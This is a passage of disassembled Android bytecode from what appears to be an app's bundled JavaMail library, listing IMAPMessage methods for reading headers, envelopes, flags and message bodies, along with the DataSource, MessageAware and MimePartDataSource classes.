00000008 invoke-direct IMAPMessage->loadFlags()V, p0
0000000E invoke-super MimeMessage->getFlags()Flags, p0
:14
00000014 move-result-object v0
00000016 monitor-exit p0
00000018 return-object v0
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
.catchall {:2 .. :14} :1A
.end method
.method public getFrom()[Address
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000010 iget-object v0, v0, ENVELOPE->from:[InternetAddress
00000014 invoke-direct IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
0000001A move-result-object v0
0000001C return-object v0
.end method
.method public getHeader(String, String)String
.registers 4
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-virtual IMAPMessage->getHeader(String)[String, p0, p1
0000000C move-result-object v0
0000000E if-nez v0, :16
:12
00000012 const/4 v0, 0x0
:14
00000014 return-object v0
:16
00000016 iget-object v0, p0, IMAPMessage->headers:InternetHeaders
0000001A invoke-virtual InternetHeaders->getHeader(String, String)String, v0, p1, p2
00000020 move-result-object v0
00000022 goto :14
.end method
.method public getHeader(String)[String
.registers 8
00000000 const/4 v0, 0x0
00000002 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000008 invoke-direct IMAPMessage->isHeaderLoaded(String)Z, p0, p1
0000000E move-result v1
00000010 if-eqz v1, :22
:14
00000014 iget-object v0, p0, IMAPMessage->headers:InternetHeaders
00000018 invoke-virtual InternetHeaders->getHeader(String)[String, v0, p1
0000001E move-result-object v0
:20
00000020 return-object v0
:22
00000022 invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000028 move-result-object v2
0000002A monitor-enter v2
:2C
0000002C invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
00000032 move-result-object v1
00000034 invoke-virtual IMAPMessage->checkExpunged()V, p0
0000003A invoke-virtual IMAPProtocol->isREV1()Z, v1
00000040 move-result v3
00000042 if-eqz v3, :CE
:46
00000046 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000004C move-result v3
0000004E new-instance v4, StringBuilder
00000052 const-string v5, "HEADER.FIELDS ("
00000056 invoke-direct StringBuilder-><init>(String)V, v4, v5
0000005C invoke-virtual StringBuilder->append(String)StringBuilder, v4, p1
00000062 move-result-object v4
00000064 const-string v5, ")"
00000068 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
0000006E move-result-object v4
00000070 invoke-virtual StringBuilder->toString()String, v4
00000076 move-result-object v4
00000078 invoke-direct IMAPMessage->toSection(String)String, p0, v4
0000007E move-result-object v4
00000080 invoke-virtual IMAPProtocol->peekBody(I, String)BODY, v1, v3, v4
00000086 move-result-object v1
00000088 if-eqz v1, :152
:8C
0000008C invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:92
00000092 move-result-object v1
:94
00000094 monitor-exit v2
:96
00000096 if-eqz v1, :20
:9A
0000009A iget-object v0, p0, IMAPMessage->headers:InternetHeaders
0000009E if-nez v0, :B0
:A2
000000A2 new-instance v0, InternetHeaders
000000A6 invoke-direct InternetHeaders-><init>()V, v0
000000AC iput-object v0, p0, IMAPMessage->headers:InternetHeaders
:B0
000000B0 iget-object v0, p0, IMAPMessage->headers:InternetHeaders
000000B4 invoke-virtual InternetHeaders->load(InputStream)V, v0, v1
000000BA invoke-direct IMAPMessage->setHeaderLoaded(String)V, p0, p1
000000C0 iget-object v0, p0, IMAPMessage->headers:InternetHeaders
000000C4 invoke-virtual InternetHeaders->getHeader(String)[String, v0, p1
000000CA move-result-object v0
000000CC goto :20
:CE
000000CE invoke-virtual IMAPMessage->getSequenceNumber()I, p0
000000D4 move-result v3
000000D6 new-instance v4, StringBuilder
000000DA const-string v5, "HEADER.LINES ("
000000DE invoke-direct StringBuilder-><init>(String)V, v4, v5
000000E4 invoke-virtual StringBuilder->append(String)StringBuilder, v4, p1
000000EA move-result-object v4
000000EC const-string v5, ")"
000000F0 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
000000F6 move-result-object v4
000000F8 invoke-virtual StringBuilder->toString()String, v4
000000FE move-result-object v4
00000100 invoke-virtual IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v1, v3, v4
00000106 move-result-object v1
00000108 if-eqz v1, :152
:10C
0000010C invoke-virtual RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v1
:112
00000112 move-result-object v1
00000114 goto :94
:116
00000116 move-exception v0
:118
00000118 new-instance v1, FolderClosedException
0000011C iget-object v3, p0, IMAPMessage->folder:Folder
00000120 invoke-virtual ConnectionException->getMessage()String, v0
00000126 move-result-object v0
00000128 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v3, v0
0000012E throw v1
:130
00000130 move-exception v0
00000132 monitor-exit v2
:134
00000134 throw v0
:136
00000136 move-exception v0
:138
00000138 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
0000013E new-instance v1, MessagingException
00000142 invoke-virtual ProtocolException->getMessage()String, v0
00000148 move-result-object v3
0000014A invoke-direct MessagingException-><init>(String, Exception)V, v1, v3, v0
00000150 throw v1
:152
00000152 move-object v1, v0
00000154 goto :94
.catch ConnectionException {:2C .. :92} :116
.catch ProtocolException {:2C .. :92} :136
.catchall {:2C .. :92} :130
.catchall {:94 .. :96} :130
.catch ConnectionException {:CE .. :112} :116
.catch ProtocolException {:CE .. :112} :136
.catchall {:CE .. :112} :130
.catchall {:118 .. :134} :130
.catchall {:138 .. :152} :130
.end method
.method public getInReplyTo()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000010 iget-object v0, v0, ENVELOPE->inReplyTo:String
00000014 return-object v0
.end method
.method public getLineCount()I
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010 iget v0, v0, BODYSTRUCTURE->lines:I
00000014 return v0
.end method
.method public getMatchingHeaderLines([String)Enumeration
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadHeaders()V, p0
0000000C invoke-super MimeMessage->getMatchingHeaderLines([String)Enumeration, p0, p1
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getMatchingHeaders([String)Enumeration
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadHeaders()V, p0
0000000C invoke-super MimeMessage->getMatchingHeaders([String)Enumeration, p0, p1
00000012 move-result-object v0
00000014 return-object v0
.end method
.method protected getMessageCacheLock()Object
.registers 2
00000000 iget-object v0, p0, IMAPMessage->folder:Folder
00000004 check-cast v0, IMAPFolder
00000008 iget-object v0, v0, IMAPFolder->messageCacheLock:Object
0000000C return-object v0
.end method
.method public getMessageID()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000010 iget-object v0, v0, ENVELOPE->messageId:String
00000014 return-object v0
.end method
.method public getNonMatchingHeaderLines([String)Enumeration
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadHeaders()V, p0
0000000C invoke-super MimeMessage->getNonMatchingHeaderLines([String)Enumeration, p0, p1
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getNonMatchingHeaders([String)Enumeration
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadHeaders()V, p0
0000000C invoke-super MimeMessage->getNonMatchingHeaders([String)Enumeration, p0, p1
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public declared-synchronized getPeek()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPMessage->peek:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method protected getProtocol()IMAPProtocol
.registers 3
00000000 iget-object v0, p0, IMAPMessage->folder:Folder
00000004 check-cast v0, IMAPFolder
00000008 invoke-virtual IMAPFolder->waitIfIdle()V, v0
0000000E iget-object v0, p0, IMAPMessage->folder:Folder
00000012 check-cast v0, IMAPFolder
00000016 iget-object v0, v0, IMAPFolder->protocol:IMAPProtocol
0000001A if-nez v0, :2E
:1E
0000001E new-instance v0, FolderClosedException
00000022 iget-object v1, p0, IMAPMessage->folder:Folder
00000026 invoke-direct FolderClosedException-><init>(Folder)V, v0, v1
0000002C throw v0
:2E
0000002E return-object v0
.end method
.method public getReceivedDate()Date
.registers 4
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->receivedDate:Date
00000010 if-nez v0, :18
:14
00000014 const/4 v0, 0x0
:16
00000016 return-object v0
:18
00000018 new-instance v0, Date
0000001C iget-object v1, p0, IMAPMessage->receivedDate:Date
00000020 invoke-virtual Date->getTime()J, v1
00000026 move-result-wide v1
00000028 invoke-direct Date-><init>(J)V, v0, v1, v2
0000002E goto :16
.end method
.method public getRecipients(Message$RecipientType)[Address
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C sget-object v0, Message$RecipientType->TO:Message$RecipientType
00000010 if-ne p1, v0, :26
:14
00000014 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000018 iget-object v0, v0, ENVELOPE->to:[InternetAddress
0000001C invoke-direct IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
00000022 move-result-object v0
:24
00000024 return-object v0
:26
00000026 sget-object v0, Message$RecipientType->CC:Message$RecipientType
0000002A if-ne p1, v0, :40
:2E
0000002E iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000032 iget-object v0, v0, ENVELOPE->cc:[InternetAddress
00000036 invoke-direct IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
0000003C move-result-object v0
0000003E goto :24
:40
00000040 sget-object v0, Message$RecipientType->BCC:Message$RecipientType
00000044 if-ne p1, v0, :5A
:48
00000048 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
0000004C iget-object v0, v0, ENVELOPE->bcc:[InternetAddress
00000050 invoke-direct IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
00000056 move-result-object v0
00000058 goto :24
:5A
0000005A invoke-super MimeMessage->getRecipients(Message$RecipientType)[Address, p0, p1
00000060 move-result-object v0
00000062 goto :24
.end method
.method public getReplyTo()[Address
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000010 iget-object v0, v0, ENVELOPE->replyTo:[InternetAddress
00000014 invoke-direct IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
0000001A move-result-object v0
0000001C return-object v0
.end method
.method public getSender()Address
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000010 iget-object v0, v0, ENVELOPE->sender:[InternetAddress
00000014 if-eqz v0, :28
:18
00000018 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
0000001C iget-object v0, v0, ENVELOPE->sender:[InternetAddress
00000020 const/4 v1, 0x0
00000022 aget-object v0, v0, v1
:26
00000026 return-object v0
:28
00000028 const/4 v0, 0x0
0000002A goto :26
.end method
.method public getSentDate()Date
.registers 4
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000000C iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000010 iget-object v0, v0, ENVELOPE->date:Date
00000014 if-nez v0, :1C
:18
00000018 const/4 v0, 0x0
:1A
0000001A return-object v0
:1C
0000001C new-instance v0, Date
00000020 iget-object v1, p0, IMAPMessage->envelope:ENVELOPE
00000024 iget-object v1, v1, ENVELOPE->date:Date
00000028 invoke-virtual Date->getTime()J, v1
0000002E move-result-wide v1
00000030 invoke-direct Date-><init>(J)V, v0, v1, v2
00000036 goto :1A
.end method
.method protected getSequenceNumber()I
.registers 2
00000000 iget v0, p0, IMAPMessage->seqnum:I
00000004 return v0
.end method
.method public getSize()I
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 iget v0, p0, IMAPMessage->size:I
0000000A const/4 v1, 0xFFFFFFFFFFFFFFFF
0000000C if-ne v0, v1, :16
:10
00000010 invoke-direct IMAPMessage->loadEnvelope()V, p0
:16
00000016 iget v0, p0, IMAPMessage->size:I
0000001A return v0
.end method
.method public getSubject()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 iget-object v0, p0, IMAPMessage->subject:String
0000000A if-eqz v0, :14
:E
0000000E iget-object v0, p0, IMAPMessage->subject:String
:12
00000012 return-object v0
:14
00000014 invoke-direct IMAPMessage->loadEnvelope()V, p0
0000001A iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
0000001E iget-object v0, v0, ENVELOPE->subject:String
00000022 if-nez v0, :2A
:26
00000026 const/4 v0, 0x0
00000028 goto :12
:2A
0000002A iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
0000002E iget-object v0, v0, ENVELOPE->subject:String
00000032 invoke-static MimeUtility->decodeText(String)String, v0
00000038 move-result-object v0
0000003A iput-object v0, p0, IMAPMessage->subject:String
:3E
0000003E iget-object v0, p0, IMAPMessage->subject:String
00000042 goto :12
:44
00000044 move-exception v0
00000046 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
0000004A iget-object v0, v0, ENVELOPE->subject:String
0000004E iput-object v0, p0, IMAPMessage->subject:String
00000052 goto :3E
.catch UnsupportedEncodingException {:2A .. :3E} :44
.end method
.method protected getUID()J
.registers 3
00000000 iget-wide v0, p0, IMAPMessage->uid:J
00000004 return-wide v0
.end method
.method public declared-synchronized invalidateHeaders()V
.registers 2
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 iput-boolean v0, p0, IMAPMessage->headersLoaded:Z
00000008 const/4 v0, 0x0
0000000A iput-object v0, p0, IMAPMessage->loadedHeaders:Hashtable
0000000E const/4 v0, 0x0
00000010 iput-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000014 const/4 v0, 0x0
00000016 iput-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001A const/4 v0, 0x0
0000001C iput-object v0, p0, IMAPMessage->receivedDate:Date
00000020 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000022 iput v0, p0, IMAPMessage->size:I
00000026 const/4 v0, 0x0
00000028 iput-object v0, p0, IMAPMessage->type:String
0000002C const/4 v0, 0x0
0000002E iput-object v0, p0, IMAPMessage->subject:String
00000032 const/4 v0, 0x0
00000034 iput-object v0, p0, IMAPMessage->description:String
:38
00000038 monitor-exit p0
0000003A return-void
:3C
0000003C move-exception v0
0000003E monitor-exit p0
00000040 throw v0
.catchall {:4 .. :38} :3C
.end method
.method protected isREV1()Z
.registers 3
00000000 iget-object v0, p0, IMAPMessage->folder:Folder
00000004 check-cast v0, IMAPFolder
00000008 iget-object v0, v0, IMAPFolder->protocol:IMAPProtocol
0000000C if-nez v0, :20
:10
00000010 new-instance v0, FolderClosedException
00000014 iget-object v1, p0, IMAPMessage->folder:Folder
00000018 invoke-direct FolderClosedException-><init>(Folder)V, v0, v1
0000001E throw v0
:20
00000020 invoke-virtual IMAPProtocol->isREV1()Z, v0
00000026 move-result v0
00000028 return v0
.end method
.method public declared-synchronized isSet(Flags$Flag)Z
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000008 invoke-direct IMAPMessage->loadFlags()V, p0
0000000E invoke-super MimeMessage->isSet(Flags$Flag)Z, p0, p1
:14
00000014 move-result v0
00000016 monitor-exit p0
00000018 return v0
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
.catchall {:2 .. :14} :1A
.end method
.method public removeHeader(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setContentID(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setContentLanguage([String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setContentMD5(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setDataHandler(DataHandler)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setDescription(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setDisposition(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method protected setExpunged(Z)V
.registers 3
00000000 invoke-super MimeMessage->setExpunged(Z)V, p0, p1
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, IMAPMessage->seqnum:I
0000000C return-void
.end method
.method public setFileName(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public declared-synchronized setFlags(Flags, Z)V
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000008 move-result-object v1
0000000A monitor-enter v1
:C
0000000C invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
00000012 move-result-object v0
00000014 invoke-virtual IMAPMessage->checkExpunged()V, p0
0000001A invoke-virtual IMAPMessage->getSequenceNumber()I, p0
00000020 move-result v2
00000022 invoke-virtual IMAPProtocol->storeFlags(I, Flags, Z)V, v0, v2, p1, p2
:28
00000028 monitor-exit v1
:2A
0000002A monitor-exit p0
0000002C return-void
:2E
0000002E move-exception v0
:30
00000030 new-instance v2, FolderClosedException
00000034 iget-object v3, p0, IMAPMessage->folder:Folder
00000038 invoke-virtual ConnectionException->getMessage()String, v0
0000003E move-result-object v0
00000040 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v0
00000046 throw v2
:48
00000048 move-exception v0
0000004A monitor-exit v1
:4C
0000004C throw v0
:4E
0000004E move-exception v0
00000050 monitor-exit p0
00000052 throw v0
:54
00000054 move-exception v0
:56
00000056 new-instance v2, MessagingException
0000005A invoke-virtual ProtocolException->getMessage()String, v0
00000060 move-result-object v3
00000062 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000068 throw v2
.catchall {:2 .. :C} :4E
.catch ConnectionException {:C .. :28} :2E
.catch ProtocolException {:C .. :28} :54
.catchall {:C .. :28} :48
.catchall {:28 .. :2A} :48
.catchall {:30 .. :4C} :48
.catchall {:4C .. :4E} :4E
.catchall {:56 .. :6A} :48
.end method
.method public setFrom(Address)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setHeader(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method protected setMessageNumber(I)V
.registers 2
00000000 invoke-super MimeMessage->setMessageNumber(I)V, p0, p1
00000006 return-void
.end method
.method public declared-synchronized setPeek(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, IMAPMessage->peek:Z
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public setRecipients(Message$RecipientType, [Address)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setReplyTo([Address)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setSender(Address)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setSentDate(Date)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method protected setSequenceNumber(I)V
.registers 2
00000000 iput p1, p0, IMAPMessage->seqnum:I
00000004 return-void
.end method
.method public setSubject(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method protected setUID(J)V
.registers 3
00000000 iput-wide p1, p0, IMAPMessage->uid:J
00000004 return-void
.end method
.method public writeTo(OutputStream)V
.registers 7
00000000 const/4 v0, 0x0
00000002 invoke-virtual IMAPMessage->getPeek()Z, p0
00000008 move-result v1
0000000A invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000010 move-result-object v2
00000012 monitor-enter v2
:14
00000014 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
0000001A move-result-object v3
0000001C invoke-virtual IMAPMessage->checkExpunged()V, p0
00000022 invoke-virtual IMAPProtocol->isREV1()Z, v3
00000028 move-result v4
0000002A if-eqz v4, :7E
:2E
0000002E if-eqz v1, :68
:32
00000032 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
00000038 move-result v1
0000003A iget-object v4, p0, IMAPMessage->sectionId:String
0000003E invoke-virtual IMAPProtocol->peekBody(I, String)BODY, v3, v1, v4
00000044 move-result-object v1
:46
00000046 if-eqz v1, :52
:4A
0000004A invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:50
00000050 move-result-object v0
:52
00000052 monitor-exit v2
:54
00000054 if-nez v0, :DA
:58
00000058 new-instance v0, MessagingException
0000005C const-string v1, "No content"
00000060 invoke-direct MessagingException-><init>(String)V, v0, v1
00000066 throw v0
:68
00000068 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000006E move-result v1
00000070 iget-object v4, p0, IMAPMessage->sectionId:String
00000074 invoke-virtual IMAPProtocol->fetchBody(I, String)BODY, v3, v1, v4
0000007A move-result-object v1
0000007C goto :46
:7E
0000007E invoke-virtual IMAPMessage->getSequenceNumber()I, p0
00000084 move-result v1
00000086 const/4 v4, 0x0
00000088 invoke-virtual IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v3, v1, v4
0000008E move-result-object v1
00000090 if-eqz v1, :52
:94
00000094 invoke-virtual RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v1
:9A
0000009A move-result-object v0
0000009C goto :52
:9E
0000009E move-exception v0
:A0
000000A0 new-instance v1, FolderClosedException
000000A4 iget-object v3, p0, IMAPMessage->folder:Folder
000000A8 invoke-virtual ConnectionException->getMessage()String, v0
000000AE move-result-object v0
000000B0 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v3, v0
000000B6 throw v1
:B8
000000B8 move-exception v0
000000BA monitor-exit v2
:BC
000000BC throw v0
:BE
000000BE move-exception v0
:C0
000000C0 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
000000C6 new-instance v1, MessagingException
000000CA invoke-virtual ProtocolException->getMessage()String, v0
000000D0 move-result-object v3
000000D2 invoke-direct MessagingException-><init>(String, Exception)V, v1, v3, v0
000000D8 throw v1
:DA
000000DA const/16 v1, 0x400
000000DE new-array v1, v1, [B
:E2
000000E2 invoke-virtual InputStream->read([B)I, v0, v1
000000E8 move-result v2
000000EA const/4 v3, 0xFFFFFFFFFFFFFFFF
000000EC if-ne v2, v3, :F2
:F0
000000F0 return-void
:F2
000000F2 const/4 v3, 0x0
000000F4 invoke-virtual OutputStream->write([B, I, I)V, p1, v1, v3, v2
000000FA goto :E2
.catch ConnectionException {:14 .. :50} :9E
.catch ProtocolException {:14 .. :50} :BE
.catchall {:14 .. :50} :B8
.catchall {:52 .. :54} :B8
.catch ConnectionException {:68 .. :9A} :9E
.catch ProtocolException {:68 .. :9A} :BE
.catchall {:68 .. :9A} :B8
.catchall {:A0 .. :BC} :B8
.catchall {:C0 .. :DA} :B8
.end method
#--------------------------------------------------------------------------------
.class public abstract interface DataSource
.super Object
.source ""
.method public abstract getContentType()String
.end method
.method public abstract getInputStream()InputStream
.end method
.method public abstract getName()String
.end method
.method public abstract getOutputStream()OutputStream
.end method
#--------------------------------------------------------------------------------
.class public abstract interface MessageAware
.super Object
.source ""
.method public abstract getMessageContext()MessageContext
.end method
#--------------------------------------------------------------------------------
.class public MimePartDataSource
.super Object
.source ""
.implements DataSource
.implements MessageAware
.field private static ignoreMultipartEncoding:Z
.field private context:MessageContext
.field protected part:MimePart
.method static constructor <clinit>()V
.registers 3
00000000 const/4 v0, 0x1
00000002 sput-boolean v0, MimePartDataSource->ignoreMultipartEncoding:Z
:6
00000006 const-string v1, "mail.mime.ignoremultipartencoding"
0000000A invoke-static System->getProperty(String)String, v1
00000010 move-result-object v1
00000012 if-eqz v1, :28
:16
00000016 const-string v2, "false"
0000001A invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
00000020 move-result v1
00000022 if-eqz v1, :28
:26
00000026 const/4 v0, 0x0
:28
00000028 sput-boolean v0, MimePartDataSource->ignoreMultipartEncoding:Z
:2C
0000002C return-void
:2E
0000002E move-exception v0
00000030 goto :2C
.catch SecurityException {:6 .. :2C} :2E
.end method
.method public constructor <init>(MimePart)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, MimePartDataSource->part:MimePart
0000000A return-void
.end method
.method private static restrictEncoding(String, MimePart)String
.registers 4
00000000 sget-boolean v0, MimePartDataSource->ignoreMultipartEncoding:Z
00000004 if-eqz v0, :C
:8
00000008 if-nez p0, :E
:C
0000000C return-object p0
:E
0000000E const-string v0, "7bit"
00000012 invoke-virtual String->equalsIgnoreCase(String)Z, p0, v0
00000018 move-result v0
0000001A if-nez v0, :C
:1E
0000001E const-string v0, "8bit"
00000022 invoke-virtual String->equalsIgnoreCase(String)Z, p0, v0
00000028 move-result v0
0000002A if-nez v0, :C
:2E
0000002E const-string v0, "binary"
00000032 invoke-virtual String->equalsIgnoreCase(String)Z, p0, v0
00000038 move-result v0
0000003A if-nez v0, :C
:3E
0000003E invoke-interface MimePart->getContentType()String, p1
00000044 move-result-object v0
00000046 if-eqz v0, :C
:4A
0000004A new-instance v1, ContentType
0000004E invoke-direct ContentType-><init>(String)V, v1, v0
00000054 const-string v0, "multipart/*"
00000058 invoke-virtual ContentType->match(String)Z, v1, v0
0000005E move-result v0
00000060 if-nez v0, :74
:64
00000064 const-string v0, "message/*"
00000068 invoke-virtual ContentType->match(String)Z, v1, v0
:6E
0000006E move-result v0
00000070 if-eqz v0, :C
:74
00000074 const/4 p0, 0x0
00000076 goto :C
:78
00000078 move-exception v0
0000007A goto :C
.catch ParseException {:4A .. :6E} :78
.end method
.method public getContentType()String
.registers 2
00000000 iget-object v0, p0, MimePartDataSource->part:MimePart
00000004 invoke-interface MimePart->getContentType()String, v0
:A
0000000A move-result-object v0
:C
0000000C return-object v0
:E
0000000E move-exception v0
00000010 const-string v0, "application/octet-stream"
00000014 goto :C
.catch MessagingException {:0 .. :A} :E
.end method
.method public getInputStream()InputStream
.registers 4
00000000 iget-object v0, p0, MimePartDataSource->part:MimePart
00000004 instance-of v0, v0, MimeBodyPart
00000008 if-eqz v0, :42
:C
0000000C iget-object v0, p0, MimePartDataSource->part:MimePart
00000010 check-cast v0, MimeBodyPart
00000014 invoke-virtual MimeBodyPart->getContentStream()InputStream, v0
0000001A move-result-object v0
:1C
0000001C iget-object v1, p0, MimePartDataSource->part:MimePart
00000020 invoke-interface MimePart->getEncoding()String, v1
00000026 move-result-object v1
00000028 iget-object v2, p0, MimePartDataSource->part:MimePart
0000002C invoke-static MimePartDataSource->restrictEncoding(String, MimePart)String, v1, v2
00000032 move-result-object v1
00000034 if-eqz v1, :40
:38
00000038 invoke-static MimeUtility->decode(InputStream, String)InputStream, v0, v1
0000003E move-result-object v0
:40
00000040 return-object v0
:42
